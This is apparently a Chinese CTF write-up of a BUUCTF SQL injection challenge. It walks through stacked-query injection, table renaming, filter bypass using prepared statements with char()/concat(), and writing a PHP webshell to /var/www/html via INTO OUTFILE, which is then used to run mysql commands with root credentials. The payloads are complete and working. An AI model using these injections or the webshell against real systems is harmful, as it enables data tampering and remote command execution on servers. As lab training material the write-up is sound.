当前位置:网站首页>BUUCTF-web-随便注
BUUCTF-web-随便注
2022-07-21 05:07:00 【narukuuuu】
方法一:
判断
输入1试试,可以看到是GET传参
判断一下是数字型注入还是字符型注入
可以看出来是字符型注入了,接下来就是常规猜解SQL查询语句中的字段数
输入 : 1' order by 1#
输入: 1' order by 2#
输入: 1' order by 3#
说明字段数为2
爆库
常规使用联合查询
输入: 1' union select 1,2#
发现一些常用的查询关键词都被过滤了捏,但是堆叠查询注入貌似没有,试试堆叠查询注入
输入: 1' ; show databases;#
说明堆叠查询注入可行
爆表
输入: -1' ; show tables;#
得到两个表为 1919810931114514 和 words
接下来看看两个表里面都是些啥
查询表中字段
这里有个小坑,也是之前在学习布尔注入打DVWA的时候遇到过的
mysql中点引号( ' )和反勾号( ` )的区别:(linux下不区分,windows下区分)
区别:
单引号( ' )或双引号主要用于字符串的引用符号
eg:mysql> SELECT 'hello', "hello" ;反勾号( ` )主要用于数据库、表、索引、列和别名用的引用符是[Esc下面的键]
eg:`mysql>SELECT * FROM `table` WHERE `from` = 'abc' ;
输入:
-1';show columns from `words`;#
输入:
-1';show columns from `1919810931114514`;#
可以看到words表中数据有两个属性(即数据两列),而1919810931114514表中只有一个属性(数据只有一列), 根据上面的查询SQL语句中的字段数为2,可以知道回显肯定是从words这张表中回显的。后台执行的SQL语句可能是:
select id,data from words where id=' $_GET['id'] '
接下来就是怎么样获取flag了。
看了其他师傅的wp,大概的姿势是
它没有过滤掉rename和alert,那么我们就可以将表改革名字,再将列改个名字
那么就是 先将 words 改成words1,再将 这个数字表改名为 words,然后将新的words表里面的flag列改成id即可
输入以下语句:
1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;#
我们可以看看,已经修改完成
这个时候只需要再次查询 1' or 1='1 就可以得到flag(感觉懂了?!查询第一个字段?!
方法二:预处理语句+堆叠注入
预处理语句使用方式:
PREPARE name from '[my sql sequece]'; //预定义SQL语句(名字自定义)
EXECUTE name; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE name; //删除预定义SQL语句
预定义语句也可以通过变量进行传递:
SET @tn = 'hahaha'; //存储表名
SET @sql = concat('select * from ', @tn); //存储SQL语句
PREPARE name from @sql; //预定义SQL语句
EXECUTE name; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla; //删除预定义SQL语句
本题即可利用char()方法将ASCII码转化为SELECT字符串,接着利用concat()方法进行拼接获得查询的SQL语句来绕过或者直接使用concat()方法绕过 (在命令执行里面也经常见char()这个函数哈哈哈)
payload1:不使用变量
1';PREPARE kyo from concat(char(115,101,108,101,99,116), ' * from `1919810931114514` ');EXECUTE kyo;#
select的ASCII码转换相当于char(115,101,108,101,99,116)
concat()函数用于将多个字符串连接成一个字符串
payload2:使用变量
1';SET @sql=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARE kyo from @sql;EXECUTE kyo;#
payload3:只是用concat(),不使用char()
1';PREPARE kyo from concat('s','elect', ' * from `1919810931114514` ');EXECUTE kyo;#
方法三:利用命令执行Getflag
查询一下当前的用户
-1';Srt @sql=concat('s','elect user()');PREPARE kyo from @sql;EXECUTE kyo;#
发现当前用户是root,那么利用MySQL into outputfile给网站留后门(这里猜测绝对路径是一般ubuntu服务器网站根目录/var/www/html
)
1';Set @sql=concat("s","elect '<?php @print_r(`$_GET[cmd]`);?>' into outfile '/var/www/html/1",char(46),"php'");PREPARE kyo from @sql;EXECUTE kyo;#
利用char( 46)来代替‘ . ’从而绕过关键字.的过滤
MYSQL into file 语句: 可以方便导出表格的数据,同样也可以生成某些文件。因此有些人会利用sql注入生成特定的代码的文件,然后执行这些文件,将会造成严重的后果。
MYSQL into outfile:生成php文件
select [语句] into outfile '/var/www/html/1.php'
最后会在/var/www/html/路径下,生成1.php
最后利用一句话木马执行任意mysql命令(反引号中的内容会被当做bash命令执行然后结果再传回来执行)
uroot:
用户名root proot:
密码root
/1.php?1=mysql -uroot -proot -e"use supersqli;select flag from \`1919810931114514\`;"
得到flag
参考文章:(1条消息) 利用Mysql into outfile给网站留后门_xlxxcc的博客-CSDN博客_into outfile 写后门
边栏推荐
- DWVA[SQL-Injection]学习记录
- 开发模式下热更新 加快开发环境代码更新
- xml建模
- 蛇形数字宫格的实现. 编写一个cube函数,入参为num, 通过js实现 要求如下:当num=3时,输出表格效果为:[[1,2,3][6,5,4][7,8,9]]
- 专栏开设的意义
- Relationship between prototype, prototype chain, constructor and instance
- php截取得到指定字符串之前与之前后的内容
- Comsol热传导方法求解迷宫问题(路径规划)
- Mobile PC applet UI framework selection
- ecshop漏洞复现
猜你喜欢
JS使用递归实现对象的深拷贝
Why use the fast and slow pointer to find the link of the linked list, and the fast pointer and the slow pointer must meet?
Common formula for matrix derivation (avoiding pit) + derivation of matrix modulus and absolute value
20. [char* is equal to string but not equal]
网页服务器/客户端搭建(nodejs启动exe程序)
从去IOE到CIPU,中国云计算要走出自己的路径
微信小程序request:fail -2:net::ERR_FAILED
Relationship between prototype, prototype chain, constructor and instance
【极客大挑战 2019】Easy,Love,Baby-SQL
Comsol热传导方法求解迷宫问题(路径规划)
随机推荐
Nodejs读取并解析xml的DOM
TP5对接免签FM支付接口
$. Usage of each
OpenFoam小技巧
First Working Day~
Visual studio third party library addition -- eigen
How to play FLV format videos locally for free
Reset Form
The feeling of an elegant "interview"
vant toast 内容一直被第一次触发的覆盖
Cannot read property mode of undefined
线性薛定谔方程实现界面推移
Hot update in development mode to speed up the code update of development environment
Swift navigation bar color device and remove the lower edge line
Nodemon +nodejs + Express file modification automatically restarts the server
sonarLint使用、介绍
Format time
Common formula for matrix derivation (avoiding pit) + derivation of matrix modulus and absolute value
MySQL account management Database building and four engines
oh-my-zsh 效率插件